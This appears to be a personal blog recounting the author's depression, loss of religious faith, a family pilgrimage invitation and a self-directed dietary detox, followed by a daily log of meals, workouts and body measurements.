Diet wise I would eat whatever was convenient and cheap. Lot’s of takeaway shops were close to my place in Middlesbrough. I’d eat takeway quite frequently (3-4 times a week). When I was really depressed I couldn’t be bothered to go shopping as it was too much effort so I would eat only when I was starving and it would be in the most convenient form i.e. a take away or a delivery. The famous Boro Chicken Parmo (my favourite Parmo’s in Middlesbrough were from 1. Montanas/Malones, 2. The Halal Centre and 3. Europa Restaurant), Fish and Chips, Chicken and Chips, Pizzas, Donar Kebabs, McDonalds, KFC, Chinese… you name it. We’d eat it! Much of the time money was really tight, so I often opted for Sainsbury’s Basics brand of crappy processed food for the poor, stingy or uninformed eater. Sainsbury’s Basics Cottage Pie was regularly on the menu. These Basics meals were often a treat as 10p ASDA noodles were a staple for us for quite a while. Great for the wallet and relatively convenient too. But what exactly was it providing our bodies and our minds in terms of nutrition? I’d eat a lot of junk food too and my junk food consumption doubled or tripled during the munchies after smoking the good shit. No thought went into what I ate. I grew fatter and fatter by the day. And as I had lost faith in my religion only a few years earlier, where once what I ate and did was governed by strict religious restrictions now I felt liberated. I could finally explore what the world had to offer and not worry about upsetting my Creator in the process. I welcomed the experience of alcohol, drugs, tobacco, and the flesh of every animal I could have the opportunity to consume with open jaws. I thought I had liberated myself, but little did I realise that I was poisoning myself. I have now come to realise that just because you can, doesn’t mean you should. 

My parents knew I was going through a rough patch and searching for meaning. Their offer of help came in the form that they knew and were familiar with. They were going to go on a Shia pilgrimage to Syria and Iraq and my Dad offered to pay for me to accompany them. They were hoping that I converted back to the path I was once an avid proponent of. I was open to experiencing these places of pilgrimage, but wasn’t sure I could handle travelling with emotional crazy Shi’ites to their most holy of holy places. I more than welcomed visiting the resting place of Ali ibn Abu Talib (who’s sincerity I still could find no fault with despite my loss of faith), however, hanging around with a load of fanatics for a whole month whilst avoiding being detected as a non-believer in their midst? It was a tough call. But I agreed anyway. I thought I’d give it a shot. The change in scenery might do me some good. And at the time I was open to experiencing something out of the ordinary even though I was convinced it wouldn’t be something that would make me believe in the same old way of thinking I used to believe to be the Truth. The potential of experiencing something spiritually sublime was worth the risk of being found out and potentially being executed (apostates get the death penalty according to the majority interpretations of Islamic law).

My faith-losing process wasn’t a horizontal movement from one faith to another, it was more like a vertical ascension, which would start in me losing faith in faith itself and in the end help me to rediscover FAITH anew. I warned my parents that it was unlikely that I would convert back and that they shouldn’t pay for me if they thought that is what was going to happen. They agreed (but still hoped).

Fantastic! A free holiday to places of historical and spiritual significance to millions of people with no catch! A couple of days later my dad called and informed me of the fine print… As he was paying for me to go to a place of pilgrimage, he wanted me to “purify” myself from the things Islam forbade. i.e. no alcohol leading up to the trip and no pork, oh and start praying namaz. What? As if it wasn’t bad enough that I was agreeing to accompany them to a place I knew I would be surrounded by suffocating Islamic culture he wanted me to abase myself to rules set by him prior to the trip?!! I can’t tell you how angry my initial response was (which I didn’t express to my dad). This is what really bugs me with the Islamic way of always asserting itself on people into behaving in a way that it thought was appropriate. It is proudly explained to people that Islam means “submission”. This is true. But another word which expresses this philosophy is “domination”. For submission is meaningless unless there is someone doing the domination. Ironically this rebellious streak I have against being dominated by others may well be due to my Zaidi and Fatimid genetic heritage. My ancestors never accepted that anyone other than they had the right to lead the Muslims (literally means ”those who submit”) after Muhammad, their forefather. Most of the Fatimid Sayyids took a non-violent approach to what they deemed was the usurpation of their divine right. However, the Zaidis (a branch of the Fatimids) made it a part of their religion that a descendent of Muhammad could not be an Imam unless he rebelled violently against the usurping government of their times. I digress, where was I? Yes! How dare anybody try to control how I behave!

After thinking about it for a bit, I agreed to cutting out the alcohol and pork but informed my dad that it was nonsensical asking me to pray 5 daily prayers like a Muslim as I was no longer one. In fact I had been thinking of doing a detox for a while, and my dad’s insistence that I should cut out alcohol and pork leading up to the trip felt like a good opportunity for me to finally commit to a detox and see what effects it had on me. I decided to experiment and cut out five things: 1) All Meat including fish and eggs; 2) Alcohol; 3) Tobacco; 4) Granulated Sugar and 5) Caffeine. I didn’t know what to expect. Little did I know that ten days from the start of the detox that I would feel how I can only describe as “ABSOLUTELY FABULOUS!!!” I felt so good I wanted to proclaim the Gospel of Detox to all my family, friends and the whole world! For someone who had been in the depths of depression for years, who had not yet deciphered the meaning of life, yet feel such intense joy, surely it was worth sharing with my fellow man? This amazing feeling didn’t require expensive drugs, a fad diet, a belief in any particular religion or cosmological perspective, nor the purchasing of products of any particular brand. All it seemed to require was stop poisoning the body with poison, giving it the nourishment it needed and making use of the limbs it was born with physical activity like exercise. Simples.

I should point out that pretty much immediately after my attempt at topping myself, I finally sought medication in the hope of dealing with my situation. My sister had been encouraging me to get on medications for a while. I tried a few medications. The first few were horrendous, with unacceptable side effects (like becoming asexual and being so dazed you can’t do anything anyway). It was the third type of medication I tried that finally suited me. It helped me sleep at night (which was fantastic as I used to suffer from sleep apnea). And it worked without de-philosophising my mind and turning me into a non-thinking machine. At first it did make me feel a bit doped out during the day, but after a few months of using it I felt normal during the day. Starting the medication was a crucial decision in helping me to recover. However it was only after I started the detox did I feel “ABSOLUTELY FANTASTIC”. I started the detox about 3-4 months after starting the medication. I kept up my medication during both detoxes. I would not recommend coming off medication for a detox without the supervision of your Doctor. So if you suffer from depression (i.e. do you have regular thoughts of killing yourself?) then I can’t recommend enough the use of medications prescribed by your Dr to help kickstart your recovery. For most of my life I inherited the opinion that depression was my fault for not thinking “properly” or thinking too much. Many people who have not experienced depression think that you should just “be strong and pull yourself together.” This is utter rubbish. Seek medical help immediately and do not be ashamed or embarrassed to seek help particularly if your thoughts have a suicidal pattern to it.

Taking medication helped me get to a level where I could have the motivation and the will to commit to a detox. I believe the detox took my physical and mental health to another level beyond just prescribed anti-depressant medication. I do wonder if a person who is suffering from depression is able to be cured by the healthy diet a detox encourages. I guess it would depend on what is causing the depression. If it’s due to bad brain chemistry as a result of poor nutrition or toxins/stimulants then maybe it would. However if there is instead a physical malfunction in the brain then I doubt it would cure it. But then again what if the good nutrition was combined with a strong faith and reprogramming of the brain as well as influencing other factors which impact on a healthy mind and body? Then maybe it could. I haven’t tried this so I can’t comment from experience. It would be interesting to see. Perhaps this could be a focus for me next time I do a detox…

Going on the kind of detox I have been doing seems to create the conditions that boost the body’s and mind’s ability to perform optimally. The basic principle of the detox is very simple: cut out the crap and give the body what it has been designed/evolved to consume. If it requires synthetic packaging and a massive marketing budget to persuade you to consume it, it’s more than likely a load of rubbish. Of course there are exceptions to any rule, though it is true most of the time. If it’s natural  and comes in biodegradable packaging (I’m thinking an Orange for example) then its more than likely good for you. Of course there are poisonous natural things out there too like poisonous mushrooms and berries that you shouldn’t eat, but you hopefully get the point I’m trying to illustrate!

As a result of going on a detox I notice: clarity of my mind; enhanced physical senses; significantly improved sexual health (e.g. increased libido; increased sensitivity; more intense orgasms; increased semen volume and trajectory; more solid erections); drastic increase in positive moods and emotions; a feeling of freshness and increased energy levels; a renewed desire to be creative; increased ability to remain focused on a task and a sustained ability to work towards goals; a reduction in body fat; fresher breath; clearer more vibrant looking skin; increased confidence and charisma. Need I say more?

I can’t recommend going on a detox enough. I invite you to give it a go!

Please share your detox experiences with me. If you blog your experience let me know and I’ll put a link to your blog on mine.

Good luck!

My weight dropped 0.5kg to 67.6kg. My body fat dropped 0.3% to 17.3%. My body water rose to 56.8% and my body muscle rose to 43.0%. 

I started the day with half a glass of POM Wonderful’s 100% Pomegranate juice, followed by red quinoa with almond milk and agave nectar. Through the morning I had a couple of Redbush teas with the aim of aiding my writers block (perhaps I should have also tried some low GI form of carbohydrate). I also had a peppermint tea. For lunch I had vegetable soup. I later snacked on half a handful of almonds and throughout the day I had some Iranian dates here and there. 

Pre-workout I had a vegetable curry with buckwheat.

I finally ventured out to the park for my first workout in 11 days since Day 19. This seems to happen to me a lot. When I start something and commit to doing it regularly, I’ll start strong, but then something dramatic happens in my life, like my grandfather passing away and the event derails me from my routine. This has happened many times before. I guess the challenge is to try and keep faithful to the good that one has started regardless of the other things happening in one’s life. My workout was tough. I felt so weak compared to when I last worked out. When I was doing the Lat Pull Down’s which I normally find the easiest I felt really weak. Actually I felt like a patient who’s been in a hospital bed for a few weeks and hasn’t used his muscles in a long time. I felt vulnerable like I might tear a muscle or break something so I took it easy. I did half the reps I did last time I did this exercise.

The days are getting shorter and the colder. I’m thinking of skipping the hour long walks and commit instead to longer HIIT sessions on the cross trainer. Today I did a HIIT session on the cross trainer for 15 min. While doing this again I felt quite weak and lacking in energy. I felt a tingling feeling in my figures as I gripped on the handle, and just didn’t have that much energy or strength in my legs to peddle as fast as I normally can. Having taken this significant break from my workouts I can now really appreciate how wonderful I was feeling towards just before my grandfather passing away. I was more energised, I felt stronger, more athletic. I felt more confident and sexual too. I saw a significant boost in libido. Not only that, I witnessed overall improvements in sexual health and function. Stopping my exercise and going onto the poorly planned daytime liquid diet however reversed this process and I ended up feeling drained of the life force energy. 

I may have felt weak during my workout. I may even have dreaded the thought of going out in the cold and putting energy into the workout in the first place, but later in the evening I felt full of energy. So much so that I couldn’t sit still and write. I wanted to move about to the music I was listening to instead. I am glad I resumed my workouts and started to eat properly again. It makes all the difference. Next time I feel, down, depressed, feel as though I may be coming down with something, rather than reach for the first aid box and popping a pill, I will try to examine my diet and see where it might be lacking in nutrients, which may well be what is leading me to feel that negative way. I will also assess my lifestyle, is it too sedentary? Am I exercising enough? 

Post workout I tried my MyProtein brown rice protein for the first time. I made a carrot and apple juice and mixed the brown rice protein with it. Though it didn’t taste that bad, the grittiness of the protein felt like I was consuming a puddle of wet mud. It certainly didn’t taste as good as the Biochem 100% Vegan Protein. But the fact that I bought protein without any flavourings added to it meant that I could combine my protein shake and post workout juice into one beverage. Very convenient, and the myprotein option is a lot cheaper too. 

For my evening meal I ate corn on the cob with some salad. I didn’t have anything protein to go with it. In the evening I snacked on some mixed seeds and before going to bed I ate a handful some raw almonds.